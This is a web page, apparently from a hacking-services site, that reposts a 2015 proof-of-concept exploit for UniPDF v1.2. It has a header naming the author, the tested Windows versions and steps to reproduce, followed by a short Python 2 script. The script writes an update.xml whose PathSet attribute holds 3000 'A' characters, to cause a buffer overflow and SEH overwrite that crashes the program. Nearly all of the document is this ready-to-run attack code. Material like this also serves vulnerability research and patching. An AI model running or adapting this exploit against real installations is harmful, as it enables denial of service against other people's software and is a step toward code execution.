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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: UniPDF v1.2 BufferOverflow, SEH overwrite DoS PoC
# Author : Avinash Kumar Thapa "-Acid"
# Date of Testing :  25th April 2015
# Tested On : Windows XP- Service Pack 3 && Windows 7 Home Basic
# Vendor Homepage: http://unipdf.com/
# Software Link: http://unipdf.com/file/unipdf-setup.exe
# Steps to reproduce the Crash is:
#   Step 1: Run the POC
#   Step 2: Go to local Disk C:\Program Files\UniPDF and copy the POC there
#   Step 3 : Run the UniPdf.exe 

buff2 = "\x41" * 3000
crash = "      <config>\n"
crash +=  "         <UserDefine>\n"
crash  +=               "<Language ID=\"0\" />\n"
crash +=                "<Path PathSet=\""+buff2+"\" Path=\"\" />\n"
crash +=                "<ImageFormat set=\"2\" />\n"
crash +=                "<Res set=\"96\" />\n"
crash +=                "<bit set=\"24\" />\n"
crash +=                "<Prefix set=\"\" />\n"
crash +=                "<Doc set=\"1\" />\n"
crash +=                "<Help set=\"1\" />\n"
crash +=             "</UserDefine>\n"
crash +=        "</config>\n"

print "POC Created By -Acid"
print " acid.exploit@gmail.com" 
file = open("update.xml","w")
file.write(crash)
file.close()